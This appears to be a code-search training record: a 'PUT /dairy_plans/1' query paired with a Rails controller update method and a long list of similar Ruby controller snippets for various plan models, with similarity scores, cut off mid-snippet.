end", "def create\n @actual_action_plan = ActualActionPlan.new(actual_action_plan_params)\n\n respond_to do |format|\n if @actual_action_plan.save\n format.html { redirect_to @actual_action_plan, notice: 'Actual action plan was successfully created.' }\n format.json { render :show, status: :created, location: @actual_action_plan }\n else\n format.html { render :new }\n format.json { render json: @actual_action_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t@plan=Plan.find(params[:plan_id])\n\tif [email protected]?\n\t\tredirect_to new_buy_plan_path, :flash => { :error => \"plan not found\" }\n\t\treturn\n\tend\n\n\tif current_user.stripe_id.present?\n\t\tcustomer_id=current_user.stripe_id\n\t\tcustomer = Stripe::Customer.retrieve(customer_id)\n\t\tcustomer.sources.create(:source => params[:stripeToken])\n\telse\n\t\tcustomer = Stripe::Customer.create(\n\t\t\t:email => params[:stripeEmail],\n\t\t\t:source => params[:stripeToken]\n\t\t)\n\t\tcustomer_id=customer.id\n\t\tcurrent_user.stripe_id=customer_id\n\t\tcurrent_user.save(validate: false)\n\tend\n\n\tsubscription = customer.subscriptions.create(:plan => @plan.stripe_id )\n\n\t@plan=BuyPlan.new(:plan_id => params[:plan_id], :user_id => current_user.id, :status=>1)\n\[email protected]\n\n\tredirect_to pages_page0_path, :flash => { :notice => \"purchase completed\" }\n\n\trescue Stripe::CardError => e\n\t\tflash[:error] = e.message\n\t\tredirect_to new_buy_plan_path(:id => params[:plan_id])\n end", "def plan_params\r\n params.require(:plan).permit(\r\n :title,\r\n :started_at,\r\n :ended_at,\r\n :state,\r\n :remarks,\r\n :project_ids => [],\r\n )\r\n end", "def create\n @payment_plan = PaymentPlan.new(payment_plan_params)\n\n respond_to do |format|\n if @payment_plan.save\n redirect_to @payment_plan, notice: 'Payment plan was successfully created.'\n else\n render :new\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n Term.create(plan_id: @plan.id, semester: \"Fall\", year: @plan.startyear)\n Term.create(plan_id: @plan.id, semester: \"Spring\", year: @plan.startyear+1)\n Term.create(plan_id: @plan.id, semester: \"Summer\", year: @plan.startyear+1)\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:nombre, :codigo, :precio, :empresa_id, :servicio_id, :type_plan_id, :tipo_cliente_id, :state, :necesidad)\n end", "def create\n @test_plan = TestPlan.new(params[:test_plan])\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully created.') }\n format.xml { render :xml => @test_plan, :status => :created, :location => @test_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n\n respond_to do |format|\n if @plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(@plan) }\n format.xml { render :xml => @plan, :status => :created, :location => @plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @patient = Patient.find(params[:patient_selec]['id'])\n @family_group = FamilyGroup.find(params[:id])\n @plan.state = \"Abierto\"\n\n respond_to do |format|\n if @plan.save\n current_user.plans << @plan\n @family_group.plans << @plan\n @family_group.save\n format.html { redirect_to planslink_path(@family_group.id), notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @klassplan = Klassplan.new(params[:klassplan])\n\n respond_to do |format|\n if @klassplan.save\n format.html { redirect_to @klassplan, notice: 'Klassplan was successfully created.' }\n format.json { render json: @klassplan, status: :created, location: @klassplan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @klassplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:nickname, :amount_decimal, :currency,\n :interval, :interval_count)\n end", "def plan_params\n params.require(:plan).permit(:name,:duration,:description,:subscription_id)\n end", "def create\n @user = @current_user\n @title = 'Home ('+ Time.now.to_date.to_s + ')'\n @current_event, @events = Event.find_todays_events(@user)\n @plans = @user.plans\n\n\n unless params[:plan]['deadline(3i)'].blank? and\n params[:plan]['deadline(2i)'].blank? \n\n if params[:plan]['deadline(2i)'].blank? \n params[:plan]['deadline(2i)'] = Time.now.month.to_s\n end\n\n if params[:plan]['deadline(3i)'].blank? \n params[:plan]['deadline(3i)'] = '1'\n end\n\n if params[:plan]['deadline(2i)'].to_i < Time.now.month or \n (params[:plan]['deadline(2i)'].to_i == Time.now.month and \n params[:plan]['deadline(3i)'].to_i < Time.now.day)\n params[:plan]['deadline(1i)'] = Time.now.year.next.to_s\n else\n params[:plan]['deadline(1i)'] = Time.now.year.to_s\n end\n end\n\n @new_plan = Plan.new(params[:plan])\n @new_plan.user = @user\n\n unless params[:plan][:recurs] == 'recurs' \n if params[:plan][:recurs] == 'daily' \n @new_plan.recurs = Plan::RECURS[:daily] \n elsif params[:plan][:recurs] == 'weekly' \n @new_plan.recurs = Plan::RECURS[:weekly] \n elsif params[:plan][:recurs] == 'monthly' \n @new_plan.recurs = Plan::RECURS[:monthly] \n end\n else \n @new_plan.recurs = Plan::RECURS[:none] \n end \n\n unless params[:plan].blank? or params[:plan][:parent].blank?\n @new_plan.parent = @current_user.plans.find(params[:plan][:parent])\n end\n\n respond_to do |format|\n if @new_plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(events_path()) }\n format.xml { render :xml => @new_plan, :status => :created,\n :location => @new_plan }\n else\n format.html { render :template=>\"events/index\" }\n format.xml { render :xml => @new_plan.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :locations, :service_providers, :custom, :special, :monthly_mails, plan_countries_attributes: [:id, :country_id, :price])\n end", "def create\n @site_plan = @product.site_plans.new(site_plan_params)\n\n respond_to do |format|\n if @site_plan.save\n format.html { redirect_to \"#{product_path(@product)}/#site_plan-tab\", notice: 'Site plan was successfully created.' }\n format.json { render json: @site_plan, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :content, :image, :scheduled_date)\n end", "def create\n @billing_plan = BillingPlan.new(params[:billing_plan])\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to(@billing_plan, :notice => 'Billing plan was successfully created.') }\n format.xml { render :xml => @billing_plan, :status => :created, :location => @billing_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @billing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @general_plan = GeneralPlan.new(params[:general_plan])\r\n\r\n respond_to do |format|\r\n if @general_plan.save\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully created.' }\r\n format.json { render json: @general_plan, status: :created, location: @general_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n plan = Plan.new\n authorize plan\n\n # If the template_id is blank then we need to look up the available templates and\n # return JSON\n if plan_params[:template_id].blank?\n # Something went wrong there should always be a template id\n respond_to do |format|\n flash[:alert] = _('Unable to identify a suitable template for your plan.')\n format.html { redirect_to new_plan_path }\n end\n else\n\n puts plan_params.inspect\n\n @plan = create_plan(plan: plan, params: plan_params)\n\n if @plan.is_a?(Plan)\n default = Template.default\n\n msg = \"#{success_message(@plan, _('created'))}<br />\"\n\n if !default.nil? && default == @plan.template\n # We used the generic/default template\n msg += \" #{_('This plan is based on the default template.')}\"\n\n elsif [email protected]_of.nil?\n # We used a customized version of the the funder template\n # rubocop:disable Layout/LineLength\n msg += \" #{_('This plan is based on the')} #{@plan.funder&.name}: '#{@plan.template.title}' #{_('template with customisations by the')} #{@plan.template.org.name}\"\n # rubocop:enable Layout/LineLength\n else\n # We used the specified org's or funder's template\n msg += \" #{_('This plan is based on the')} #{@plan.template.org.name}: '#{@plan.template.title}' template.\"\n end\n\n respond_to do |format|\n flash[:notice] = msg\n format.html { redirect_to plan_path(@plan) }\n end\n else\n # Something went wrong so report the issue to the user\n respond_to do |format|\n flash[:alert] = failure_message(plan, _('create'))\n format.html { redirect_to new_plan_path }\n end\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:pack_id, :name, :description, :old_price,\n :decimal, :price, :days, :is_active,\n :is_visible, :product_id, :city_id, :city_name)\n end", "def create\n @meeting_plan = MeetingPlan.new(meeting_plan_params)\n\n respond_to do |format|\n if @meeting_plan.save\n format.html { redirect_to @meeting_plan, notice: 'Meeting plan was successfully created.' }\n format.json { render :show, status: :created, location: @meeting_plan }\n else\n format.html { render :new }\n format.json { render json: @meeting_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @operative_plan = OperativePlan.new(operative_plan_params)\n\n respond_to do |format|\n if @operative_plan.save\n format.html { redirect_to @operative_plan, notice: 'Plan operativo creado exitosamente' }\n format.json { render :show, status: :created, location: @operative_plan }\n else\n format.html { render :new }\n format.json { render json: @operative_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.permit(:startDate, :endDate, :status, :user_id, :evaluation_id)\n end", "def create\n @trip_plan = TripPlan.new(trip_plan_params.merge(user_id: current_user.try(:id)))\n\n respond_to do |format|\n if @trip_plan.save\n format.html { redirect_to @trip_plan, notice: 'Trip plan was successfully created.' }\n format.json { render :show, status: :created, location: @trip_plan }\n format.js {}\n else\n format.html { render :new }\n format.json { render json: @trip_plan.errors, status: :unprocessable_entity }\n format.js {}\n end\n end\n end", "def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def pharmacy_plans(params = {})\n response = default_scope.get('pharmacy/plans') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :id)\n end", "def create\n @planner = Planner.new(params[:planner])\n\n respond_to do |format|\n if @planner.save\n format.html { redirect_to @planner, notice: 'Planner was successfully created.' }\n format.json { render json: @planner, status: :created, location: @planner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @planner.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts '=============================='\n puts params\n puts '=============================='\n starting_year = params[:post][:starting_year]\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n \n respond_to do |format|\n if @plan.save\n \n fall = Term.new\n spring = Term.new\n summer = Term.new\n fall.term_name = 'Fall ' + starting_year\n starting_year = (starting_year.to_i + 1).to_s\n spring.term_name = 'Spring ' + starting_year\n summer.term_name = 'Summer ' + starting_year\n fall.plan_id = @plan.id\n spring.plan_id = @plan.id\n summer.plan_id = @plan.id\n fall.save!\n spring.save!\n summer.save!\n\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @weekplan = Weekplan.new(weekplan_params)\n\n respond_to do |format|\n if @weekplan.save\n format.html { redirect_to @weekplan, notice: 'The plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @weekplan }\n else\n format.html { render action: 'new' }\n format.json { render json: @weekplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @socialize_plan = SocializePlan.new(params[:socialize_plan])\n\n respond_to do |format|\n if @socialize_plan.save\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully created.') }\n format.xml { render :xml => @socialize_plan, :status => :created, :location => @socialize_plan }\n format.json { render :json => @socialize_plans }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n format.json { render :json => @socialize_plan.errors, :status => :unprocessable_entity}\n end\n end\n end", "def payment_plan_params\n params.require(:payment_plan).permit(:title, :description, :starting_date)\n end", "def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end", "def create\n @floor_plan = @product.floor_plans.new(floor_plan_params)\n\n respond_to do |format|\n if @floor_plan.save\n format.html { redirect_to \"#{product_path(@product)}/#floor_plan-tab\", notice: 'Floor plan was successfully created.' }\n format.json { render json: @floor_plan, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rating_plan = RatingPlan.new(params[:rating_plan])\n\n respond_to do |format|\n if @rating_plan.save\n flash[:notice] = 'Long distance plan was successfully created.'\n format.html { redirect_to(rating_plans_url) }\n format.xml { render :xml => @rating_plan, :status => :created, :location => @rating_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rating_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def billing_plan_params\n params.require(:billing_plan).permit(:description, :days, :active)\n end", "def plans=(value)\n @plans = value\n end", "def food_plan_params\n params.require(:food_plan).permit(:food_plan_date, :applicant_id)\n end" ]
[ "0.685176", "0.6822982", "0.6627809", "0.6565976", "0.6561254", "0.65425974", "0.65425974", "0.6534557", "0.6455788", "0.6432151", "0.64318585", "0.6369616", "0.63623357", "0.63617617", "0.633691", "0.6321141", "0.6305228", "0.6272402", "0.62480885", "0.62048316", "0.62039655", "0.61977184", "0.61860746", "0.6185575", "0.61760914", "0.6169037", "0.6165579", "0.6159925", "0.6159058", "0.6142736", "0.6141274", "0.6132053", "0.6131078", "0.61060286", "0.6105436", "0.61024594", "0.6097833", "0.60951287", "0.6075997", "0.60656816", "0.6063416", "0.6059748", "0.60573316", "0.60459095", "0.60425204", "0.6038533", "0.6038449", "0.60304457", "0.6023574", "0.6012339", "0.6007246", "0.6006684", "0.60054827", "0.60020316", "0.5996342", "0.59947085", "0.59925014", "0.5975557", "0.5973259", "0.5972858", "0.59662956", "0.596181", "0.59602517", "0.5957399", "0.5953863", "0.5948464", "0.5947491", "0.59452456", "0.59452456", "0.59448963", "0.59370255", "0.5930897", "0.5930708", "0.59267277", "0.5924415", "0.59050214", "0.59037083", "0.59016854", "0.589285", "0.58904856", "0.5890015", "0.5886638", "0.5882641", "0.5882561", "0.58806473", "0.58798045", "0.58774275", "0.5871946", "0.5871932", "0.586683", "0.5860289", "0.5857592", "0.5852826", "0.58526874", "0.58498704", "0.5834422", "0.58298135", "0.5825565", "0.5820631", "0.58125246" ]
0.61757267
25
PUT /dairy_plans/1 PUT /dairy_plans/1.json
def update @dairy_plan = DairyPlan.find(params[:id]) if params[:dairy_plan][:plan_date].to_s != "" date1 = DateTime.strptime(params[:dairy_plan][:plan_date] + " CCT", "%Y-%m-%d %Z") params[:dairy_plan][:plan_date] = date1 end respond_to do |format| if @dairy_plan.update_attributes(params[:dairy_plan]) # 更新所有此计划下的课程 CourseContent.where(:dairy_plan_id => @dairy_plan.id).update_all(:plan_date => date1) format.html { redirect_to student_dairy_plan_path(@student,@dairy_plan), notice: 'Dairy plan was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @dairy_plan.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(params[:plan])\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(plan_params)\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tasks = @plan.tasks\n\n @goals = @plan.goals\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully updated.' }\n # format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n unless @plan.update(plan_params)\n render json: {status: 'failed', message: '更新失败,请稍后重试 !'}\n end\n end", "def update\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n @needs = @goal.needs\n respond_to do |format|\n if @goal.update(goal_params)\n format.html { redirect_to back_index_case_url, notice: 'Goal was successfully updated.' }\n # format.json { render :show, status: :ok, location: @goal }\n else\n format.html { render :edit }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n respond_to do |format|\n if @plan.update(plan_params)\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n expire_action :action => 'show'\n expire_page action: 'show', id: params[:id]\n # redirect_to action: 'show', id: params[:id]\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @panel_plan = Panel::Plan.find(params[:id])\n\n respond_to do |format|\n if @panel_plan.update_attributes(params[:panel_plan])\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n plan = Plan.find_by_id!(params.fetch(:id))\n benchmark_action_ids =\n JSON.parse(plan_update_params.fetch(:benchmark_action_ids))\n name = plan_update_params.fetch(:name)\n plan.update!(name: name, benchmark_action_ids: benchmark_action_ids)\n redirect_to plans_path\n end", "def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to @test_plan, notice: 'Test plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: '基本情報を編集しました' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n authorize @plan\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, :editing => false, notice: _('Plan was successfully updated.') }\n format.json { head :no_content }\n else\n flash[:notice] = failed_update_error(@plan, _('plan'))\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n if @exercise_plan.update_attributes(params[:exercise_plan])\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to(@plan, :notice => 'Plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n flash[:notice] = 'Plan was successfully updated.'\n format.html { redirect_to(@plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n if @socialize_plan.update_attributes(params[:socialize_plan])\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n if @work_plan.update_attributes(params[:work_plan])\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n #expire_action :index\n #expire_action :show\n end", "def update\n @master_plan = MasterPlan.find(params[:id])\n\n respond_to do |format|\n if @master_plan.update_attributes(params[:master_plan])\n format.html { redirect_to master_plan_path(@master_plan), notice: 'Master plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @master_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n if @sslplan.update_attributes(params[:sslplan])\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @planner = Planner.find(params[:id])\n\n respond_to do |format|\n if @planner.update_attributes(params[:planner])\n format.html { redirect_to @planner, notice: 'Planner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @planner.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n if @plan.update_attributes(params[:plan])\n redirect_to @plan, :notice => \"Successfully updated plan.\"\n else\n render :action => 'edit'\n end\n end", "def update\n respond_to do |format|\n if @billing_plan.update(billing_plan_params)\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n if @lunchplan.update_attributes(params[:lunchplan])\n format.html { redirect_to @lunchplan, :notice => 'Lunchplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @lunchplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @check_plan.update(check_plan_params)\n format.html { redirect_to @check_plan, notice: 'Check plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @check_plan }\n else\n format.html { render :edit }\n format.json { render json: @check_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(attrs, user = @@default_user)\n attrs = { id: @id, project_token: @project_token }.merge(attrs)\n @attributes = send_request(\"test_plans/#{attrs[:id]}\", :put) do |req|\n req.body = {\n test_plan: attrs.except(:project_token, :id),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end", "def update\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n if @planitem.update_attributes(planitems_params)\n format.html { redirect_to \"#{plan_path(@planitem.sprint.quarter.name)}\", notice: 'Plan item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @planitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @goals = @need.goals\n @goals = @need.goals\n @plans = @goals.map(&:plans).flatten.uniq\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to back_index_case_url, notice: 'Need was successfully updated.' }\n # format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to planslink_path(@plan.family_group.id) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @care_plan.update(care_plan_params)\n render json: @care_plan, status: :ok, location: @care_plan\n else\n render json: @care_plan.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @food_plan.update(food_plan_params)\n format.html { redirect_to @food_plan, notice: 'Food plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_plan }\n else\n format.html { render :edit }\n format.json { render json: @food_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to(artist_profile_url(@plan.artist), :notice => 'Pledge level was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:date, :breakfast_id, :lunch_id, :dinner_id, :food_id)\n end", "def update\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @work_plan.update_attributes(params[:work_plan])\r\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @trip_plan.update(trip_plan_params)\n format.html { redirect_to @trip_plan, notice: 'Trip plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_plan }\n else\n format.html { render :edit }\n format.json { render json: @trip_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { render :show, status: :ok, location: @incident }\n else\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @site_plan.update(site_plan_params)\n format.html { redirect_to :back, notice: 'Site plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ad_plan.update(ad_plan_params)\n format.html { redirect_to @ad_plan, notice: 'Ad plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @ad_plan }\n else\n format.html { render :edit }\n format.json { render json: @ad_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def update\n\t\t@plan = Plan.find(params[:id])\n authorize @plan\n\t\tif user_signed_in? && @plan.editable_by(current_user.id) then\n\t\t\trespond_to do |format|\n\t\t\tif 